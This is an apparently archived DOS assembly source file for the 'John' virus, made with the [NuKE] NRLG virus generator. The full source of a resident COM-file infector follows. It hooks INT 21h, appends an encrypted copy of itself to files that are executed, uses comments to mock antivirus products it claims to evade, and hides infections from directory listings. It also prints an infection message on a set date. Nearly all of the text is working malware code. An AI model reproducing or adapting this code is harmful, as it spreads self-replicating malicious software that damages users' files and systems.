home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-J.ZIP / JOHN.ASM < prev    next >
Assembly Source File  |  1996-05-26  |  23KB  |  460 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  sub byte ptr [di],07dh
  36. add byte ptr [di],0d5h
  37. not byte ptr [di] 
  38. add byte ptr [di],035h
  39. sub byte ptr [di],022h
  40. not byte ptr [di] 
  41. add byte ptr [di],034h
  42. add byte ptr [di],012h
  43. inc byte ptr [di]
  44. sub byte ptr [di],0e8h
  45. add word ptr [di],08522h
  46. xor byte ptr [di],058h
  47. inc word ptr [di]
  48.  inc di
  49. inc di
  50. ;----------------------------------------------------------                                                
  51. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  52. mov ah,4ch
  53. int 21h
  54. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  55. ;-----------------------------------------------------------                               
  56. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  57. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  58. ;----------------------------------------------------------                                   
  59. loop deci                    ;repeat please!               
  60.                              ;           
  61. ;*****************************************************************
  62. ;                   #2 DECRYPT ROUTINE                                                    
  63. ;*****************************************************************
  64.                               ;    
  65. crypt:                        ;fuck label!                  
  66.                               ;                
  67. mov cx,offset fin             ;cx = large of virus                 
  68. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  69. ;---------------------------------------------------------------                                              
  70. deci2:                        ;              
  71. xor byte ptr cs:[di],1        ;decrytion rutine          
  72. inc di                        ;very simple...            
  73. loop deci2                    ;           
  74. ;---------------------------------------------------------------
  75. crypt2:                       ;fuck label!          
  76.                               ;                  
  77. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  78. INT 21H                       ;for chek "I'm is residet?"   
  79. CMP Bh,0CAH                   ;is equal to CACA?
  80. JE PUM2                       ;yes! jump to runnig program
  81. call action
  82. ;*****************************************************************
  83. ; NRLG FUNCTIONS  (SELECTABLE)
  84. ;*****************************************************************
  85.  
  86.  ;****************************************************************
  87. ;               PROCESS TO REMAIN RESIDENT                                                                  
  88. ;****************************************************************   
  89.  
  90. mov   ax,3521h                  
  91. int   21h                        ;store the int 21 vectors 
  92. mov   word ptr [bp+int21],bx     ;in cs:int21
  93. mov   word ptr [bp+int21+2],es   ;
  94. ;---------------------------------------------------------------
  95. push cs                          ; 
  96. pop ax                           ;ax = my actual segment                             
  97. dec ax                           ;dec my segment for look my MCB
  98. mov es,ax                        ;
  99. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  100. ;---------------------------------------------------------------
  101. push cs                          ;   
  102. pop es                           ;   
  103. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  104. sub bx,17 + offset fin           ;and 100H for the PSP total
  105. mov ah,4ah                       ;used memory
  106. int 21h                          ;put the new value to MCB
  107. ;---------------------------------------------------------------
  108. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  109. mov ah,48h                      ;                              
  110. int 21h                         ;request the memory to fuck DOS!                                                 
  111. ;---------------------------------------------------------------
  112. dec ax                          ;ax=new segment 
  113. mov es,ax                       ;ax-1= new segment MCB 
  114. mov byte ptr es:[1],8           ;put '8' in the segment
  115. ;--------------------------------------------------------------                                
  116. inc ax                          ; 
  117. mov es,ax                       ;es = new segment
  118. lea si,[bp + offset start]      ;si = start of virus 
  119. mov di,100h                     ;di = 100H (psp position) 
  120. mov cx,offset fin - start       ;cx = lag of virus
  121. push cs                         ;
  122. pop ds                          ;ds = cs
  123. cld                             ;mov the code
  124. rep movsb                       ;ds:si >> es:di
  125. ;--------------------------------------------------------------
  126. mov dx,offset virus             ;dx = new int21 handler
  127. mov ax,2521h                    ;
  128. push es                         ; 
  129. pop ds                          ; 
  130. int 21h                         ;set the vectors 
  131. ;-------------------------------------------------------------
  132. pum2:                               ;  
  133.                                     ; 
  134. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  135. mov byte ptr cs:[100h],ah           ;first bytes  
  136. mov ax,word ptr [cs:bp + real + 1]  ;
  137. mov word ptr cs:[101h],ax           ;
  138. ;-------------------------------------------------------------
  139. mov ax,100h                         ;
  140. jmp ax                              ;jmp to execute
  141.                                     ;
  142. ;*****************************************************************
  143. ;*             HANDLER FOR THE INT 21H                                       
  144. ;*****************************************************************
  145.                           ;          
  146. VIRUS:                    ;  
  147.                           ;     
  148. cmp ah,4bh                ;is a 4b function? 
  149. je REPRODUCCION           ;yes! jump to reproduce !
  150. cmp ah,11h
  151. je dir
  152. cmp ah,12h
  153. je dir
  154. dirsal:
  155. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  156. jne a3                    ;no! jump to a3
  157. mov bh,0cah               ;yes! put ca in bh
  158. a3:                       ;
  159. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  160. ret                       ;    
  161. make db '[NuKE] N.R.L.G. AZRAEL'
  162. dir:
  163. jmp dir_s
  164. ;-------------------------------------------------------------
  165. REPRODUCCION:              ;       
  166.                            ;
  167. pushf                      ;put the register
  168. pusha                      ;in the stack
  169. push si                    ;
  170. push di                    ;
  171. push bp                    ;
  172. push es                    ;
  173. push ds                    ;
  174. ;-------------------------------------------------------------
  175. push cs                    ;  
  176. pop ds                     ;  
  177. mov ax,3524H               ;get the dos error control                      
  178. int 21h                    ;interupt                        
  179. mov word ptr error,es      ;and put in cs:error                      
  180. mov word ptr error+2,bx    ;            
  181. mov ax,2524H               ;change the dos error control                    
  182. mov dx,offset all          ;for my "trap mask"                      
  183. int 21h                    ;         
  184. ;-------------------------------------------------------------
  185. pop ds                     ;
  186. pop es                     ;restore the registers
  187. pop bp                     ;
  188. pop di                     ;
  189. pop si                     ;
  190. popa                       ;
  191. popf                       ;
  192. ;-------------------------------------------------------------
  193. pushf                      ;put the registers
  194. pusha                      ;     
  195. push si                    ;HEY! AZRAEL IS CRAZY?
  196. push di                    ;PUSH, POP, PUSH, POP
  197. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  198. push es                    ;PURIFY THIS SHIT!
  199. push ds                    ;
  200. ;-------------------------------------------------------------
  201. mov ax,4300h                 ;       
  202. int 21h                      ;get the file     
  203. mov word ptr cs:[attrib],cx  ;atributes   
  204. ;-------------------------------------------------------------
  205. mov ax,4301h                 ;le saco los atributos al        
  206. xor cx,cx                    ;file 
  207. int 21h                      ;
  208. ;-------------------------------------------------------------  
  209. mov ax,3d02h                 ;open the file 
  210. int 21h                      ;for read/write
  211. mov bx,ax                    ;bx=handle
  212. ;-------------------------------------------------------------
  213. mov ax,5700h                ;     
  214. int 21h                     ;get the file date  
  215. mov word ptr cs:[hora],cx   ;put the hour    
  216. mov word ptr cs:[dia],dx    ;put the day    
  217. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  218. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  219. jne seguir                  ;yes! the file is infected!     
  220. jmp cerrar                  ;
  221. ;------------------------------------------------------------
  222. seguir:                     ;     
  223. mov ax,4202h                ;move the pointer to end
  224. call movedor                ;of the file
  225. ;------------------------------------------------------------
  226. push cs                     ;   
  227. pop ds                      ; 
  228. sub ax,3                    ;calculate the 
  229. mov word ptr [cs:largo],ax  ;jmp long
  230. ;-------------------------------------------------------------
  231. mov ax,04200h               ;move the pointer to  
  232. call movedor                ;start of file
  233. ;----------------------------------------------------------                                          
  234. push cs                     ;   
  235. pop ds                      ;read the 3 first bytes  
  236. mov ah,3fh                  ;                           
  237. mov cx,3                    ;
  238. lea dx,[cs:real]            ;put the bytes in cs:[real]
  239. int 21h                     ;
  240. ;----------------------------------------------------------                                          
  241. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  242. jne er1                         ;yes! is a EXE... fuckkk!
  243. ;----------------------------------------------------------
  244. jmp cerrar
  245. er1:
  246. ;----------------------------------------------------------                                          
  247. mov ax,4200h      ;move the pointer                               
  248. call movedor      ;to start fo file
  249. ;----------------------------------------------------------                                          
  250. push cs           ;       
  251. pop ds            ; 
  252. mov ah,40h        ;  
  253. mov cx,1          ;write the JMP
  254. lea dx,[cs:jump]  ;instruccion in the
  255. int 21h           ;fist byte of the file
  256. ;----------------------------------------------------------                                          
  257. mov ah,40h         ;write the value of jmp
  258. mov cx,2           ;in the file 
  259. lea dx,[cs:largo]  ; 
  260. int 21h            ;
  261. ;----------------------------------------------------------                                          
  262. mov ax,04202h      ;move the pointer to 
  263. call movedor       ;end of file
  264. ;----------------------------------------------------------                                          
  265. push cs                     ;        
  266. pop ds                      ;move the code  
  267. push cs                     ;of my virus      
  268. pop es                      ;to cs:end+50     
  269. cld                         ;for encrypt          
  270. mov si,100h                 ;    
  271. mov di,offset fin + 50      ;      
  272. mov cx,offset fin - 100h    ;        
  273. rep movsb                   ;      
  274. ;----------------------------------------------------------                                          
  275. mov cx,offset fin           
  276. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  277. enc:                              ;           
  278. xor byte ptr cs:[di],1            ;encrypt the virus              
  279. inc di                            ;code                   
  280. loop enc                          ;              
  281. ;---------------------------------------------------------
  282. mov cx,offset fin           
  283. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  284. mov dx,1
  285. enc2:                              ;           
  286.  
  287.  dec word ptr [di]
  288. xor byte ptr [di],058h
  289. sub word ptr [di],08522h
  290. add byte ptr [di],0e8h
  291. dec byte ptr [di]
  292. sub byte ptr [di],012h
  293. sub byte ptr [di],034h
  294. not byte ptr [di]
  295. add byte ptr [di],022h
  296. sub byte ptr [di],035h
  297. not byte ptr [di]
  298. sub byte ptr [di],0d5h
  299. add byte ptr [di],07dh
  300.  inc di
  301. inc di                             ;the virus code                  
  302. loop enc2                          ;              
  303. ;--------------------------------------------
  304. mov ah,40h                       ;  
  305. mov cx,offset fin - offset start ;copy the virus              
  306. mov dx,offset fin + 50           ;to end of file
  307. int 21h                          ;
  308. ;----------------------------------------------------------                                          
  309. cerrar:                          ;
  310.                                  ;restore the       
  311. mov ax,5701h                     ;date and time    
  312. mov cx,word ptr cs:[hora]        ;file   
  313. mov dx,word ptr cs:[dia]         ;     
  314. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  315. int 21h                          ; 
  316. ;----------------------------------------------------------                                          
  317. mov ah,3eh                       ; 
  318. int 21h                          ;close the file
  319. ;----------------------------------------------------------                                          
  320. pop ds                           ;
  321. pop es                           ;restore the 
  322. pop bp                           ;registers
  323. pop di                           ; 
  324. pop si                           ;
  325. popa                             ;
  326. popf                             ;
  327. ;----------------------------------------------------------                                          
  328. pusha                           ;   
  329.                                 ;                                                             
  330. mov ax,4301h                    ;restores the atributes 
  331. mov cx,word ptr cs:[attrib]     ;of the file  
  332. int 21h                         ;   
  333.                                 ;
  334. popa                            ; 
  335. ;----------------------------------------------------------                                          
  336. pushf                           ;                           
  337. pusha                           ; 8-(  = f-prot                       
  338. push si                         ;                       
  339. push di                         ; 8-(  = tbav   
  340. push bp                         ;                       
  341. push es                         ; 8-)  = I'm                        
  342. push ds                         ;                              
  343. ;----------------------------------------------------------                                          
  344. mov ax,2524H                    ;                         
  345. lea bx,error                    ;restore the                         
  346. mov ds,bx                       ;errors handler      
  347. lea bx,error+2                  ;                         
  348. int 21h                         ;                       
  349. ;----------------------------------------------------------                                          
  350. pop ds                          ;
  351. pop es                          ;
  352. pop bp                          ;restore the 
  353. pop di                          ;resgisters
  354. pop si                          ;
  355. popa                            ;
  356. popf                            ;
  357. ;----------------------------------------------------------                                          
  358. JMP A3                          ;jmp to orig. INT 21
  359.                                 ;
  360. ;**********************************************************
  361. ;           SUBRUTINES AREA
  362. ;**********************************************************
  363.                                 ;
  364. movedor:                        ;   
  365.                                 ; 
  366. xor cx,cx                       ;use to move file pointer         
  367. xor dx,dx                       ;       
  368. int 21h                         ;        
  369. ret                             ;        
  370. ;----------------------------------------------------------                                          
  371. all:                            ;  
  372.                                 ; 
  373. XOR AL,AL                       ;use to set 
  374. iret                            ;error flag
  375.  
  376. ;***********************************************************
  377. ;         DATA AREA
  378. ;***********************************************************
  379. largo  dw  ?
  380. jump   db  0e9h
  381. real   db  0cdh,20h,0
  382. hora   dw  ?
  383. dia    dw  ?
  384. attrib dw  ?
  385. int21  dd  ?
  386. error  dd  ?
  387.  
  388.  ;---------------------------------
  389. action:                          ;Call label      
  390. MOV AH,2AH                       ;        
  391. INT 21H                          ;get date           
  392. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  393. JE  cont                         ;nop! fuck ret          
  394. cmp byte ptr cs:[action_dia+bp],32  ;
  395. jne no_day                       ;
  396. cont:                            ; 
  397. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  398. je set                           ;
  399. cmp byte ptr cs:[action_mes+bp],13  ;
  400. jne NO_DAY                       ;nop! fuck ret           
  401. set:                             ; 
  402. mov AH,9                         ;yeah!!          
  403. MOV DX,OFFSET PAO                ;print my text!         
  404. INT 21H                          ;now!   
  405. INT 20H                          ;an finsh te program        
  406. NO_DAY:                          ;label to incorrect date              
  407. ret                              ;return from call 
  408. ;---------------------------------
  409.  
  410.  
  411. PAO:
  412. DB 10,13,'you are infected with john virus ver 1.0a','$'
  413.  
  414. ;*****************************************************
  415. dir_s:                                                               
  416.              pushf                                                         
  417.              push    cs                                                    
  418.              call    a3                      ;Get file Stats                       
  419.              test    al,al                   ;Good FCB?                            
  420.              jnz     no_good                 ;nope                                 
  421.              push    ax                                                 
  422.              push    bx                                                    
  423.              push    es                                                    
  424.              mov     ah,51h                  ;Is this Undocmented? huh...          
  425.              int     21h                                                   
  426.              mov     es,bx                                                 
  427.              cmp     bx,es:[16h]                                           
  428.              jnz     not_infected                        
  429.              mov     bx,dx                                                 
  430.              mov     al,[bx]                                               
  431.              push    ax                                                    
  432.              mov     ah,2fh                   ;Get file DTA                         
  433.              int     21h                                                   
  434.              pop     ax                                                    
  435.              inc     al                                                    
  436.              jnz     fcb_okay                                              
  437.              add     bx,7h                                                 
  438. fcb_okay:    mov     ax,es:[bx+17h]                                   
  439.              and     ax,1fh                   ;UnMask Seconds Field                 
  440.              xor     al,byte ptr cs:fechad                                      
  441.              jnz     not_infected                                            
  442.              and     byte ptr es:[bx+17h],0e0h                            
  443.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  444.              sbb     es:[bx+1fh],ax                                        
  445. not_infected:pop     es                                                    
  446.              pop     bx                                                    
  447.              pop     ax                                                    
  448. no_good:     iret                                                          
  449. ;********************************************************************
  450. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  451. ;*********************************************************************
  452.  
  453.  action_dia Db 08H ;day for the action
  454. action_mes Db 04H ;month for the action
  455. FECHA DW 01eH ;Secon for mark
  456. FECHAd Db 01eH ;Secon for mark dir st
  457. fin:
  458. code ends
  459. end start
  460.